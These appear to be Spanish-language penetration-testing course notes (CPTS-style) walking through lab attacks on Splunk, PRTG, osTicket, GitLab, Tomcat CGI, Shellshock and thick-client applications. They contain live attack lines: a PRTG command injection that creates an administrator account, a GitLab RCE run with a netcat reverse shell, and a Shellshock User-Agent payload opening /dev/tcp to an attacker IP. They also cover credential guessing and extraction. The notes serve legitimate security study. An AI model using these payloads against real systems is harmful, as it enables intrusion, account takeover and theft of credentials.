En un entorno donde la mayoria sean Windows, debemos usar PS1 porque Universal Forwarders no se instala con Python
Ejemplo practico
Ataca Splunk y obten RCE para obtener la flag de C:\loot
- Clonamos el ejemplo de aplicacion de Splunk, modificamos run.ps1 y lo demas esta ya bien
![[Pasted image 20260727145012.png]]
![[Pasted image 20260727150331.png]]
![[Pasted image 20260727150338.png]]
- Lo comprimimos en formato que lo pueda leer splunk e iniciamos un listener
![[Pasted image 20260727145731.png]]![[Pasted image 20260727145756.png]]
- Subimos el archivo y obtenemos la shell
![[Pasted image 20260727150022.png]]
![[Pasted image 20260727150537.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 4. Infraestructura Y Network Monitoring Tools / 2. Prtg Network Monitor
1. Prtg Network Monitor
PRTG Network Monitor es un software de monitorización de redes sin agentes
Se puede utilizar para monitorizar el uso del ancho de banda, el tiempo de actividad (uptime) y recopilar estadísticas de varios hosts, routers, switches, servidores y más
Podemos realizar una enumeracion de puertos con nmap
Normalmente se encuentra en puertos como 80, 443 o 8080
![[Pasted image 20260727151415.png]]
Podemos ver Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor) en el puerto 8080
PRTG también aparece en el escaneo de EyeWitness y nos dio las credenciales por defecto (prtgadmin:prtgadmin)
![[Pasted image 20260727151525.png]]
Navegamos a la aplicacion y se nos presentara la pagina de inicio de sesion:
![[Pasted image 20260727151600.png]]
Parece que la versiones 17.3.33.2830, la cual es vulnerable a CVE-2018-9276 (inyeccion de comandos autenticada en la consola de web administrator)
Usamos curl para ver la version:
curl -s "http://.../index.html" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version
![[Pasted image 20260727151745.png]]
Tratando de iniciar sesion con varios intentos encontramos que podemos entrar usando:
prtgadmin:Password123
![[Pasted image 20260727151830.png]]
Explotando vulns conocidas
Como sabemos que es probable que sea vulnerable a la inyeccion de comandos vamos con ello
Al crear una notificacion, el campo Parameter se pasa directamente a un script en PS sin sanetizacion:
Setup > Account Settings > Notifications
![[Pasted image 20260727152303.png]]
Add new notification
![[Pasted image 20260727152320.png]]
Ponemos el nombre de la notificacion > Abajo ponemos EXECUTE PROGRAM
En Program File > Demo exe notification - outfile.ps1
En Parametros --> Ponemos nuestro comando (añadiremos un nuevo usuario adminsitrador)
Save
test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
![[Pasted image 20260727152628.png]]
Tras esto nos redigiran a Notifications donde encontraremos nuestra notificacion llamada pwn
![[Pasted image 20260727152706.png]]
Le damos Test para ejecutar la notificacion
No obtendremos respuesta pero podemos probar con crackmapexec y luego conectarnos con evilwin-rm o psexec
sudo crackmapexec smb 10.129.201.50 -u prtgadm1 -p Pwn3d_by_PRTG!
![[Pasted image 20260727152932.png]]
Ejemplo practico
Que version corre PRTG
- Realizamos un escaneo nmap que nos dara la version y miramos con curl el codigo fuente de su pagina principal de login buscando la version
![[Pasted image 20260727153309.png]]
![[Pasted image 20260727153210.png]]
Tras atacar PRTG y ganar RCE. Devuelve el contenido de flag.txt en el Desktop de Administrator
prtgadmin:Password123
- Nos logueamos
![[Pasted image 20260727153335.png]]
-
Vamos al apartado de notificacion y add new notification
![[Pasted image 20260727153425.png]]
-
Creamos una nueva notifiacion que sea Excute program en .ps1 y en el parametro metemos un reverse shell ps1 oneliner. Le damos a save
![[Pasted image 20260727153655.png]]![[Pasted image 20260727153728.png]]
- Creamos un listener
![[Pasted image 20260727153857.png]]
- Le damos a Execute a la derecha del todo y obtenemos la reverse shell para recuperar la flag
![[Pasted image 20260727153841.png]]
![[Pasted image 20260727153835.png]]
![[Pasted image 20260727153944.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 5. Gestión De Atención Al Cliente Y Gestión De La Configuración / 1. Osticket
1. Osticket
osTicket sistema de Tickets de soporte de codigo abierto
osTicket puede integrar las consultas de los usuarios desde el correo electrónico, el teléfono y los formularios web en una interfaz web. osTicket está escrito en PHP y utiliza un backend de MySQL
Se puede instalar en Windows o Linux
Reconocimiento, Descubrimiento y Enumeracion
Al revisar EyeWitness vemos una captura de una instancia de osTicket que muestra una cookie OSTSESSID al visitar la pagina
![[Pasted image 20260727161926.png]]
La mayoria de instalaciones osTicket mostraran el logotipo de osTicket con la frase powered by en el pie de pagina:
![[Pasted image 20260727162024.png]]
Un escaneo de Nmap mostrara informacion del servidor web como Apache o IIS
No tiene muchas vulns pero aun asi podemos hacer cosas si conocemos bien como funciona
Entrada de usuario
La función principal de osTicket es informar a los empleados de la empresa sobre un problema para que este pueda ser resuelto con el servicio u otros componentes
Solo el personal y los usuarios con privilegios de administrador pueden acceder al panel de administración
Podemos “hacernos los tontos” y contactar al personal de la empresa y hacer ingenieria social
Procesamiento
Como personal o administradores, intentan reproducir errores significativos para encontrar el núcleo del problema. El procesamiento se realiza finalmente de forma interna en un entorno aislado que tendrá configuraciones muy similares a los sistemas en producción
Solucion
Dependiendo de la profundidad del problema, es muy probable que otros miembros del personal de los departamentos técnicos se involucren en la correspondencia por correo electrónico. Esto nos dará nuevas direcciones de correo electrónico para usar contra el panel de administración de osTicket
Atacando osTicket
En exploit-db encontramos varias vulns como RFI, SQLi, XSS, SSRF… Ademas se puede usar para obtener mas direcciones de correo que pueden ser usadas para registrarnos en mas aplicaciones expuestas
EJEMPLO:
Imaginemos un servidor que corre Slack o Gitlab que requiere de una direccion de correo electronico valida para unirse
¿Como obtenemos ese correo valido con herramientas de soporte?
Un correo muy comun en las empresas para el soporte suele ser –> support@DOMAIN
Es probable que para el soporte usen portales de soporte en linea y creen un email en relacion con el ticket abierto para ver rapidamente su estado quedando de esta forma –> [email protected]
Entonces podemos crear un nuevo ticket y es posible que podamos obtener una direccion de correo electronico valida de la empresa:
![[Pasted image 20260727163648.png]]
En este ejemplo de osTicket nos muestra un ejemplo de como quedaria ese correo nuevo de soporte asociado a nuestro ticket:
![[Pasted image 20260727163738.png]]
¿Que podemos hacer con esto?
- Ahora podremos iniciar sesion con ese correo y ver la informacion del ticket y publicar una respuesta a nosotros mismos
![[Pasted image 20260727164507.png]]
-
Si encontramos alguna aplicacion de soporte que realice esto, podemos usar este email en otras aplicaciones como Gitlab, Slack… para loguearnos
Ademas si hay una automatizacion de helpdesk que correlacione las direcciones de correo y tickets, cualquier mensaje que recibamos a ese correo se vera en nuestro ticket:
Ejemplo: nos registramos en Gitlab con este correo y nos piden un codigo de verificacion. Este codigo se vera en nuestro Ticket
osTicket - Exposicion de datos sensibles
Estabamos haciendo OSITN y usando Dehashed encontramos algunas credenciales:
sudo python3 dehashed.py -q inlanefreight.local -p
![[Pasted image 20260727165433.png]]
Encontramos credenciales para: jclayton y kgrimes
Tambien realizamos una enumeracion de subdominios:
![[Pasted image 20260727165553.png]]
Al navegar por cada subdominio (o usando EyeWitness) encontramos que muchos estaban inactivos pero suport.inlanefreight.local (tiene osTicket) y vpn.inlanefreight.local (tiene un portal VPN) estaban activos
![[Pasted image 20260727165727.png]]
Probamos las credenciales de jclayton sin suerte
Probamos las credenicales de kgrimes sin suerte
Vemos que tambien acepta emails y con dehased encontramos emails para ambos. Con [email protected] y la credencial de kgrimes nos pudimos loguear
![[Pasted image 20260727165931.png]]
Kevin parece ser un agente de soporte pero no tiene tickets abiertos. Investigando un poco encontramos la conversacion con un usuario remoto en el que hablan de credenciales:
![[Pasted image 20260727170047.png]]
El empleado afirma que se le bloqueó el acceso a su cuenta de VPN y le pide al agente que la restablezca. El agente luego le dice al usuario que la contraseña fue restablecida a la contraseña estándar para nuevos empleados
El agente comete un error y le envía la contraseña al usuario directamente a través del portal. Desde aquí, podríamos probar esta contraseña contra el portal de VPN
Además, el agente de soporte afirma que esta es la contraseña estándar que se da a los nuevos empleados y establece la contraseña del usuario a este valor
Aunque esta fuera del alcance del modulo, podriamos crear una lista de usernames con la heramienta linkedin2username y probar esta credencial default con ellos
Ejemplo practico
![[Pasted image 20260727170441.png]]
Encuentra una manera para entrar a osTicket y encontrar la pass que le paso el Support Agent al usuario Charles Smithson
![[Pasted image 20260727170903.png]]
/scp/login.php y probamos las credenciales que nos da el modulo
![[Pasted image 20260727171457.png]]
Mirando en tickets cerrado encotnramos un VPN password reset desde Charles Smithson
![[Pasted image 20260727171601.png]]![[Pasted image 20260727171655.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 5. Gestión De Atención Al Cliente Y Gestión De La Configuración / 2. Gitlab
1. Gitlab Discovery Y Enumeration
GitLab es una herramienta de alojamiento de repositorios Git basada en la web que proporciona capacidades de wiki, seguimiento de incidencias y funcionalidad de pipeline de integración y despliegue continuo
GitLab es similar a GitHub y BitBucket
Estos repositorios son simplemente codigo disponible publicamente como scripts para interactuar con APIs
Podemos tambien encontrar scripts o archivos de configuracion, claves privadas SSH, usuarios, credenciales
Gitlab permite:
- Repositorios publicos que no requieren de autenticacion
- Repositorios internos disponibles para usuarios autenticados
- Repositorios privados restringidos a usuarios especificos
Normalmente solo se permite que un usuario con direccion de correo electronico publica se registre y requerira la autorizacion de un admin (aunque hay veces que no)
EJEMPLO DE CONFIGURACION DE AUTENTICACION EN GITLAB:
![[Pasted image 20260727201350.png]]
La autenticacion de MFA esta deshabilitada, por lo que solo necesitaremos las credenciales:
![[Pasted image 20260727201430.png]]
Navegando a la URL de Gitlab seremos directamente redirigidos a su inicio de sesion que muestra el logo de Gitlab:
![[Pasted image 20260727201530.png]]
Para identificar la version tenemos que iniciar sesion e ir a /help
- Podemos tratar de registrar una cuenta nueva
- Sino podriamos lanzar un script de bajo riesgo como el siguiente: script
Enumeracion
No hay mucho que hacer si no sabemos la version o hemos iniciado sesion
- Una vez iniciado sesion podemos ir a
/explore y ver si hay proyectos publicos. Encontramos Inlanefreight dev
![[Pasted image 20260727201903.png]]
Este parece un proyecto de ejemplo que no parece tener nada util aunque vale la pena mirar:
![[Pasted image 20260727201940.png]]
Podemos usar la funcionalidad de búsqueda y ver si podemos descubrir otros proyectos
Una vez que hayamos terminado de investigar lo que está disponible externamente, debemos verificar si podemos registrar una cuenta y acceder a proyectos adicionales
![[Pasted image 20260727202358.png]]
También podemos usar el formulario de registro para enumerar usuarios válidos
Si podemos hacer una lista de usuarios válidos, podríamos intentar adivinar contraseñas débiles o posiblemente reutilizar credenciales que encontremos de un volcado de contraseñas usando una herramienta como Dehashed
Aquí podemos ver que el usuario root ya está en uso. Es posible que podamos enumerar correos tambien
![[Pasted image 20260727202629.png]]
Vamos a loguearnos con las credenciales:
hacker:Welcome
Vamos a /explorer y vemos el proyecto Inlanefreight website. Investigando parace ser un sitio web estatico para la empresa. Podriamos descargarlo y revisarlo en nuestra kali:
![[Pasted image 20260727202809.png]]
Ejemplo practico
![[Pasted image 20260727203018.png]]
Enumera el Gitlab y encuentra la version
- Enumeramos los puertos con nmap y visitamos gitlab
![[Pasted image 20260727203257.png]]
![[Pasted image 20260727203247.png]]
- Nos creamos un usuario con el correo del dominio corporativo y nos deja entrar
![[Pasted image 20260727204353.png]]
![[Pasted image 20260727204409.png]]
![[Pasted image 20260727204500.png]]
- Una vez dentro miramos en /help para saber la version
![[Pasted image 20260727204451.png]]
Encuentra la pass de PostgreSQL en el proyecto de ejemplo
- En Inlanefreight dev dentro hay un archivo de postgresql, si entramos encontraremos la contraseña
![[Pasted image 20260727204520.png]]
![[Pasted image 20260727204816.png]]![[Pasted image 20260727204838.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 5. Gestión De Atención Al Cliente Y Gestión De La Configuración / 2. Gitlab
2. Atacando Gitlab
Vimos como con un usuario no autorizado inventado conseguimos informacion
Si lo hubiesemos hecho con un usuario real de la compañia o un admin, podriamos a ver conseguido suficiente informacion como para comprometer el dominio completo
Enumeracion de nombres de usuario
Podemos usar este script para enumerar una lista de usuario validos
La version Python3 es esta
Tenemos que tener cuidado con no bloquear cuentas. En versiones menores a 16.6 hay 10 intentos sino 10min de bloqueo
A partir de entonces se puede cambiar desde el portal del Administrator
Descargamos el script y al usuarlo vemos nombres de usuario como: bob y root
./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
![[Pasted image 20260727205734.png]]
Ejecucion remota de codigo autenticada
Versión 13.10.2 y anteriores sufrían de una vulnerabilidad de ejecución remota de código autenticada (vulnerability) debido a un problema con la forma en que ExifTool manejaba los metadatos en los archivos de imagen subidos
Exploit para descargar
Primero necesitamos un nombre de usuario y contraseña validos ya sea de un autoregistro o de usuarios reales
nc -nvlp 8443
python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u USER -p PASSS -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP 8443 >/tmp/f '
![[Pasted image 20260727210039.png]]
Obtenemos la shell casi al instante:
![[Pasted image 20260727210122.png]]
Ejemplo practico
Encuentra otro usuario valido
- Nos copiamos el script y hacemos enumeracion de usuarios y obtenemos DEMO
![[Pasted image 20260727211221.png]]
![[Pasted image 20260727210450.png]]
![[Pasted image 20260727211212.png]]
Gana RCE y obten la flag bajo el directorio en el que estes
- Creamos un listener, copiamos le otro script y usamos las credenciales del usuario que creamos en la seccion anterior usando
[email protected] el cual le pusimos las credenciales de test:testtest. Depues de obtener el shell recuperamos la flag
![[Pasted image 20260727211923.png]]
![[Pasted image 20260727212340.png]]![[Pasted image 20260727212401.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 6. Interfaz De Common Gateway
1. Atacando Tomcat Cgi
scritps CGI: scripts de la web que ejecutan comandos en el webserver
El Servlet CGI es un componente vital de Apache Tomcat que permite a los servidores web comunicarse con aplicaciones externas más allá de la JVM de Tomcat. Estas aplicaciones externas suelen ser scripts CGI escritos en lenguajes como Perl, Python o Bash
El Servlet CGI recibe solicitudes de los navegadores web y las reenvía a los scripts CGI para su procesamiento
Los scripts CGI se utilizan en los sitios web por varias razones:
![[Pasted image 20260728115144.png]]
La configuración enableCmdLineArguments para el Servlet CGI de Apache Tomcat controla si se crean argumentos de línea de comandos a partir de la cadena de consulta (query string). Si se establece en «true», el Servlet CGI analiza la cadena de consulta y la pasa al script CGI como argumentos
Ejemplo basico
Un script CGI que permite buscar libros por titulo y por autor
Esta habilitado enableCmdLineArguments por lo que se le puede pasar los argumentos por parametros
![[Pasted image 20260728115408.png]]
Como vemos en el action se establece el titulo y query la consulta del titulo
![[Pasted image 20260728115441.png]]
En este ptrp caso se hace con el autor
El problema esta que enableCmdLineArguments esta habilitado en un Windows, este no valida bien la entrada antes de pasarla al CGI, lo que puede llevar a una inyeccion de comandos
Un ejemplo seria: http://example.com/cgi-bin/hello.bat?&dir. dir se pasa como argumento de hello.bat y ejecuta dir en el servidor
Enumeracion
- Nmap –> vemos un Apache Tomcat/9.0.17 en el puerto 8080
![[Pasted image 20260728115741.png]]
Encontrando el script cgi
Podemos hacer fuzzing en el directorio /cgi buscando extensiones .cmd o .bat ya que es un Windows
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ -e .cmd,.bat
![[Pasted image 20260728120124.png]]![[Pasted image 20260728120203.png]]
Navegamos a http://10.129.204.227:8080/cgi/welcome.bat y devuelve:
![[Pasted image 20260728120250.png]]
Explotacion
Podemos usar CVE-2019-0232 añadiendo nuestros propios comandos mediante el separado ?&
![[Pasted image 20260728120341.png]]
dir si devuelve pero whoami no. Puede haber restricciones
Probamos con set:
![[Pasted image 20260728120434.png]]
Vemos que la variable PATH NO esta por lo que debemos poner la ruta especifica codificandola en URL (c:\windows\system32\whoami.exe):
![[Pasted image 20260728120547.png]]
Ejemplo practico
Tras usar whoami, cual es el usuario
- Realizamos un escaneo nmap y vemos el apache corriendo sobre un windows
![[Pasted image 20260728120901.png]]
![[Pasted image 20260728120923.png]]
- Intentamos realizar una busqueda de cgis y encontrmaos welcome.bat
![[Pasted image 20260728121053.png]]![[Pasted image 20260728121110.png]]
- Al tratar de ejecutar no nos deja pero en SET vemos que PATH no esta definido por lo que tendremos que poner la ruta especifica codificada en URL
![[Pasted image 20260728121743.png]]![[Pasted image 20260728121828.png]]
![[Pasted image 20260728121626.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 6. Interfaz De Common Gateway
Ataques A Cgi Shellshock
HAY UN MODULO EN MSF
CGI ayuda al servidor a renderizar paginas dinamicas y crear una respuesta personalizada para el usuario que realiza la solicitud
Se suelen usar para acceder a otras aplicaciones que se ejecutan en un servidor web actuando como middleware
Los directorios donde suelen estar son:
/CGI-bin/
/cgi/
Se suelen usar porque:
- El servidor debe interactuar dinamicamente con el usuario
- El usuario envia datos web rellenando un formulario. La aplicacion CGI procesa los datos y devuelve el resultado
Pasos:
- Se crea un directorio con scripts cgi
- El usuario realiza una solicitud a traves de URL a un script cgi como
https://acme.com/cgi-bin/newchiscript.pl](https://acme.com/cgi-bin/newchiscript.pl
- El servidor ejecuta el script y devuelve la salida al cliente
Ataques CGI
Shellshock permite vulnerar versiones antiguas de bash que guardaban incorrectamente las variables del entorno
Ejemplo practico
- Buscamos scripts cgi
gobuster dir -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
![[Pasted image 20260728145735.png]]
- Si hacemos una peticion al cgi vemos que no nos devuleve nada. Puede que este en desuso:
![[Pasted image 20260728145815.png]]
- Vamos a confirmar la vuln. Enviamos a traves de curl o Burp hacemos un fuzzing de user-agent:
![[Pasted image 20260728145932.png]]
- Ahora hacemos una explotacion para obtener una reverse shell
sudo nc -lvnp 7777
- Enviamos una solicitud con el payload en el parametro User-Agent:
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi
![[Pasted image 20260728150040.png]]
![[Pasted image 20260728150052.png]]
Ejemplo practico
Enumera el host, explota shellshock y sube la flag localizada en el servidor
- Hacemos un fuzzing para encontrar scripts cgi
![[Pasted image 20260728150339.png]]
- Accedemos al encontrado y no nos devueleve nada por lo que vamos a probar shellshock modificando el user agent desde burp
![[Pasted image 20260728150353.png]]
![[Pasted image 20260728150402.png]]
- Mandamos la solicitud al repeater
![[Pasted image 20260728150419.png]]
- Abrimos un listener, ponemos el payload de reverse shell en user agent y al enviarlo obtenermos la shell. Obtenemos la flag
![[Pasted image 20260728150623.png]]
![[Pasted image 20260728150616.png]]![[Pasted image 20260728150644.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 7. Thick Client Apps
1. Atacando Thick Client Apps
Son aplicaciones que se instalan localmente en nuestro equipo
A diferencia de los clientes ligeros que se ejecutan en remoto, estas no requieren acceso a Internet y tienen mejor rendimiento en cuanto a potencia de procesamiento, memoria y capacidad de almacenamiento
Se pueden clasificar en arquitecturas de 2 o 3 niveles:
- 2 niveles: se instala localmente y se comunica directamente con la base de datos
- 3 niveles: se instala localmente y para interactuar con la base de datos, primero se comunica con un servidor de aplicaciones usando HTTP/S. La BBDD puede estar en la misma red o en Internet (es mas segura ya que los atacantes no se pueden comunicar directamente con la BBDD)
![[Pasted image 20260728151659.png]]
Pasos para Pentest
Es mas compleja y su superficie mas grande y se pueden hacer de forma automatizada o manualmente
Hay que identificar la arquitectura de la aplicacion, lenguajes y frameworks. Ademas de entender como funciona la aplicacion y la infraestructura
Tambien se identifican tecns del lado del cliente y del servidor, puntos de entrada y entradas de usuario
Se buscan vulns comunes
Herramietnas para recopilar info:
Ataques del lado del cliente
Aunque los clientes pesados hacen procesamiento y almacenamiento significativo del lado del cliente, aun asi se comunican con servidores para diversas tareas como sincronizacion o acceso a recursos compartidos
Estas comunicaciones pueden exponer a los clientes pesados de vulnerabilidades similares a las de las aplicaciones web
Info sensible como nombres de usuarios, contraseñas, tokens o cadenas de comunicacion podrian almacenarse en archivos locales de la aplicacion
Credenciales codificadas en duro pueden encontrarse en el codigo fuente
Herramientas para ingenieria inversa y examinar aplicaciones en estatico:
El análisis dinámico también debe realizarse en este paso, ya que las aplicaciones de cliente pesado también almacenan información sensible en la memoria
Ataques de la red
Si la aplicacion se comunica con el servidor remoto, el analisis del trafico nos ayuda a capturar info sensible y nos dara una mejor comprension de como funciona
Ataques del lado del servidor
Son similares a los ataques a aplicaciones web, y los pentesters deben prestar atención a los más comunes
Recuperando credenciales codificadas en duro de aplicaciones de cliente pesado
En este escenario hemos conseguido acceso a un SMB expuesto
Explorando NETLOGON del SMB encontramos la aplicacion RestartOracle-Service.exe entre otros archivos. La descargamos localmente y la ejecutamos en linea de comados donde parece o que no se ejecuta o que ejecuta algo oculto
![[Pasted image 20260728154744.png]]
Al descargar ProcMon64 y monitorizando la ejecucion del proceso vemos que se crea un archivo temporal en C:\Users\Matt\AppData\Local\Temp
![[Pasted image 20260728154930.png]]
Para capturar este archivo debemos cambiar los permisos de Temp para que no los borre
Click derecho en la carpeta > C:\Users\Matt\AppData\Local\Temp > Propiedades > Seguridad > Opciones avanzadas > cybervaca > Deshabilitar herencia > Convertir permisos heredados en permisos explícitos para este objeto > Editar > Mostrar permisos avanzados > Qutiamos la seleccion de Eliminar subcarpetas y archivos y Eliminar
![[Pasted image 20260728155132.png]]
Aceptar > Aplicar > Aceptar > Aceptar
Volvemos a ejecutar Restart-OracleService.exe y al mirar Temp veremos el archivo 6F39.bat creado en C:\Users\cybervaca\AppData\Local\Temp\2
![[Pasted image 20260728155251.png]]
Al mirar el contenido del archivo vemos lo siguiente:
![[Pasted image 20260728155324.png]]
Vemos que el batch crea dos archivos y elmina antes de que se puedan acceder. Si modificamso el script de batch para que no se eliminen podremos verlos eliminando la parte donde los borra:
![[Pasted image 20260728155456.png]]
Hacemos doble click sobre el batch para que se ejecute de nuevo y buscamos en c:\programdata\ los archivos `oracle.txt y monta.ps1
Miramos el contenido del .ps1:
![[Pasted image 20260728155638.png]]
Como vemos solo coge el contenido que tiene el oracle.txt (son base64) y se lo pasa al ejecutable restart-service.exe. Si ejecutamos el .ps1 se creara el restart-service.exe que podremos examinar:
![[Pasted image 20260728155817.png]]
Si lo ejecutamos saldra lo siguiente:
![[Pasted image 20260728155840.png]]
Si monitorizamos la ejecucion de este .exe que no ejecuta nada a simple vista con ProcMon64 muestra que esta consultando cosas en el registro y no muestra nada solido para continuar:
![[Pasted image 20260728155936.png]]
Como esta ejecutando cosas en memoria vamos a iniciar x64dbg:
Options > Preferences > Desmarcamos todo excepto Exit Breakpoint
![[Pasted image 20260728160104.png]]
Esto hara que la depuracion comience directamente desde el punto de salida de la aplicacion y evitemos pasar por alguna dll que se cargue antes de la aplicacion
File > Open > Restart-service.exe > Click derecho en la CPU > Follow in Memory Map
![[Pasted image 20260728160225.png]]
Mirando los mapas de memoria, ponemos interes en uno con tamaño 0000000000003000 de tipo MAP y proteccion -rw--. Los archivos mapeados en memoria permiten a las aplicaciones acceder a archivos grandes sin tener que leer o escribir por lo que podria ser un lugar potencial para buscar credenciales codificadas en duro
![[Pasted image 20260728160341.png]]
Al hacer doble click vemos los bytes magicos en la columna ACII que pone MZ indicando un archivo DOS MZ
![[Pasted image 20260728160548.png]]
Volvemos al panel de Memory Map y exportamos el elemento mapeado recien descubierto
click derecho en la direccion de memoria > Dump memory to file
Ejecutamos strings en el archivo para ver la informacion:
![[Pasted image 20260728160736.png]]
Como vemos este registro de memoria contiene un .NET asi que usamos De4Dot para revertir el .NET a su codigo fuente
Lo ejecutamos y arrastramos el restart-service_MEMORIA.bin dentro
Ahora, podemos leer el código fuente de la aplicación exportada arrastrándola y soltándola sobre el ejecutable DnSpy
![[Pasted image 20260728161104.png]]
Con el código fuente revelado, podemos entender que este binario es un runas.exe hecho a medida con el único propósito de reiniciar el servicio de Oracle
Ejemplo practico
Realiza un analisis de C:\Apps\Restart-OracleService.exe e identifica las credenciales escondidas en el codigo fuente
- Nos conectamos via RDP
![[Pasted image 20260728161616.png]]
- Ejecutamos el ejecutable y vemos que no muestra nada por pantalla ya que lo hace en segundo plano
![[Pasted image 20260728161900.png]]
- Iniciamos Procmon y filtramos por las ejecuciones con process name Restart-Oracle
![[Pasted image 20260728162032.png]]
![[Pasted image 20260728162101.png]]![[Pasted image 20260728162111.png]]
- Tras ejecutarlo y mirar los procesos del ejecutable vemos que se realizan algunas creaciones de archivo tmp en el directorio del usuario que luego se borran y no podemos ver. Los tmp son temporales
![[Pasted image 20260728162837.png]]
-
Vamos al /Temp del usuario y hacemos que no se borren para poder leerlos tranquilamente
Click derecho en la carpeta > C:\Users\Matt\AppData\Local\Temp > Propiedades > Seguridad > Opciones avanzadas > cybervaca > Deshabilitar herencia > Convertir permisos heredados en permisos explícitos para este objeto > Editar > Mostrar permisos avanzados > Qutiamos la seleccion de Eliminar subcarpetas y archivos y Eliminar
![[Pasted image 20260728163007.png]]
![[Pasted image 20260728163142.png]]
- Volvemos a ejecutar el ejecutable y vemos como se crea la carpeta tmp y dentro contiene un tmp y un batch
![[Pasted image 20260728163349.png]]![[Pasted image 20260728163627.png]]
![[Pasted image 20260728163637.png]]
- Al leer el batch vemos como en el archivo oracle mete texto en formato base64 y crea monta.ps1 y le mete un script en ps, ejecuta el .ps1 y luego borra ambos
![[Pasted image 20260728164053.png]]
![[Pasted image 20260728164105.png]]
- Borramos las lineas en las que borra el oracle y el .ps1 para leerlo en el directorio programdata
![[Pasted image 20260728164207.png]]
![[Pasted image 20260728164232.png]]
![[Pasted image 20260728164318.png]]
- Al leer el monta.ps1 efectivamente vemos el script ps1 que le habia pasado por el echo en el que quita los espacion de oracle, decodifica el base64 y se lo pasa a restart-service.exe que lo crea en el mismo directorio programdata
![[Pasted image 20260728164534.png]]
![[Pasted image 20260728164956.png]]
- Si lo ejecutamos no muestra nada por pantalla asi que vemos los procesos en segundo plano filtrando por restart-service.exe en ProcMon
![[Pasted image 20260728165022.png]]
![[Pasted image 20260728165101.png]]![[Pasted image 20260728165114.png]]
- Al ejecutarlo y mirar no vemos que cree nada en ningun sitio raro salvo que dlls y en memoria
![[Pasted image 20260728165252.png]]
![[Pasted image 20260728165335.png]]
-
Vamos a ver que operaciones hace en memoria para ver si podemos sacar credenciales de la memoria. Para esto usamos x64dbg donde veremos los registros que lee. y escribe
Options > Preferences > Desmarcamos todo excepto Exit Breakpoint
![[Pasted image 20260728165510.png]]
![[Pasted image 20260728165636.png]]
- En memory map nos llama la atencion un registro MAP con permisos RW. Los archivos mapeados permiten acceder al contenido de un archivo como si estuviera cargado directamente en la memoria del sistema, por lo que podria contener credenciales. Vemos que en ese registro lo que se escribe es un archivo ejecutable en formato DOS MZ. Estos son para compatibilidad con sistemas antiguos por lo que puede contener creds
![[Pasted image 20260728165700.png]]
![[Pasted image 20260728165809.png]]![[Pasted image 20260728165821.png]]
- Lo exportamos como archivo. Al mirarlo strings vimos que estaba escrito en .NET (tambien encontramos ya las credenciales)
![[Pasted image 20260728165849.png]]
![[Pasted image 20260728165917.png]]
![[Pasted image 20260728170139.png]]![[Pasted image 20260728170153.png]]
- Si quisieramos ver la estructura del archivo escrito en .NET, primero lo pasamos a .bin limpio por de4dot quitando simbolos ofuscados. Una vez limpio lo abrimos con dnSpy y vemos un archivo de runas (por eso estaba escrito en .NET) y en el main encontramos las credenciales en texto claro
![[Pasted image 20260728170536.png]]
![[Pasted image 20260728170613.png]]![[Pasted image 20260728170640.png]]
![[Pasted image 20260728170911.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 7. Thick Client Apps
2. Explotando Vulns WEB En Thick Client Apps
Las aplicaciones con 3 niveles son mas seguras que las de 2 ya que impiden que nos comuniquemos directamente con la BBDD
Pero las de 3 niveles pueden ser susceptibles a ataques web. Es debido a que la aplicacion se conecta a un servidor para comunicarse con la BBDD
Ejemplo:
Al conectarnos via FTP como anonymous encotnramos los siguientes archivos:
- fatty-client.jar
- note.txt
- note2.txt
- note3.txt
Al leer los archivos de texto nos revelan que:
- El servidor corre en el 1337 en vez de en el 8000
- La aplicacion necesita ser acutalizada para usar el nuevo puerto
- La aplicacion depende de Java8
- Las credenciales para inciar sesion en la aplicacion son --> qtc:clarabibi
- Ejecutamos el archivo
fatty-client.jar haciendo doble click en el e iniciamos sesion con las credenciales:
![[Pasted image 20260728202619.png]]
- Nos da error de conexion porque no se habra actualizado de 8000 a 1337. Si capturamos el trafico de red con Wireshark y hacemos login y vemos que el dns esta fallando:
![[Pasted image 20260728202749.png]]
- Introducimos la siguiente linea en \etc\hosts como admin
echo 10.10.10.174 server.fatty.htb >> C:\Windows\System32\drivers\etc\hosts
Si miramos de nuevo el Wireshark tras iniciar sesion veremos que se intenta conectar por el puerto 80:
![[Pasted image 20260728202946.png]]
-
Si miramos fatty-client.jar es un Java Archive y si contenido puede ser extraido con:
click derecho > Extract files to
![[Pasted image 20260728203112.png]]
- Con un PS como admin y desde fatty-client\ usamos Select-String de forma recursiva para saber desde donde pone que se conecta por el puerto 8000 para cambiarlo:
ls fatty-client\ -recurse | Select-String "8000" | Select Path, LineNumber | Format-List
![[Pasted image 20260728203226.png]]![[Pasted image 20260728203238.png]]
Editamos la linea a 1337
Ademas vemos que el valor secret es clarabibiclarabibiclarabibi
- Si lo intentamos ejecutar dara un problema de hashes SHA-256 porque desde META-INF/MANIFEST.MF se estan validando
![[Pasted image 20260728203454.png]]
Para que nos suceda, eliminamos los hashes y boraramos los archivos 1. RSA y 1. SF del directorio META-INF
- MANIFEST.MF: debe terminar con una nueva linea
![[Pasted image 20260728203626.png]]
- Actualizamos y ejecutamos el .jar:
cd .\fatty-client
jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *
Volvemos a hacer click sobre el fatty-client-new.jar
